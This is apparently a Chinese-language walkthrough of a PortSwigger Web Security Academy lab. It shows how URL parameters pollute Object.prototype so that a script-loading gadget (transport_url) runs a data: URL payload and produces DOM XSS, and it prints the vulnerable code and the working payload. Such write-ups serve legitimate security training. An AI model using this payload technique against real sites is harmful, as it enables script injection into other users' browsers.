> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# 通过客户端原型污染实现 DOM XSS

通过客户端原型污染实现 DOM XSS，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

#### 通过客户端原型污染实现的 DOM XSS

#### 实验环境

该应用程序存在一个 **DOM XSS** 由……触发的 **原型污染** （客户端）。/ 目的： **污染 `Object.prototype`** 借助一个有用的属性，找到一个 **利用点** 在操作它的 JS 中，然后运行 `alert()`.

### 1) 观察原型污染

#### 污染源（在 URL 中）

属性可以被注入到 `__proto__` 通过以下参数：

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### 在控制台中控制

导航后，会检查所有对象中的属性“fail”：

```javascript
console.log({}.foo)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81d7876405ff22d7fd5b6f0eb2c6767ee75aecad%2Fimage%20(128).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2) 客户端易受攻击的代码

该网站包含一段

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("保存查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

关键点：代码读取 **`config.transport_url`** 并将其用作 **一个……的来源 `<script>`**.

### 3) 已识别的可利用利用点

#### 利用点

* `config.transport_url`

#### 为什么这很危险

如果 `transport_url` 存在（即使通过原型），脚本会：

* 创建一个 `<script>`
* `script.src = config.transport_url`
* 将其插入 DOM 中

因此我们可以强制浏览器从可控 URL 加载脚本。

### 4) 操作：触发 XSS

#### 载荷（污染 + 执行）

`Object.prototype.transport_url` 被污染为一个 `data:` 可运行 `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8efed16ffcef8dfb72a1e07932abdbe225ba954b%2Fimage%20(115).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DOM 副作用

代码最终会生成类似于：

```javascript
<script src="data:,alert(1)"></script>
```


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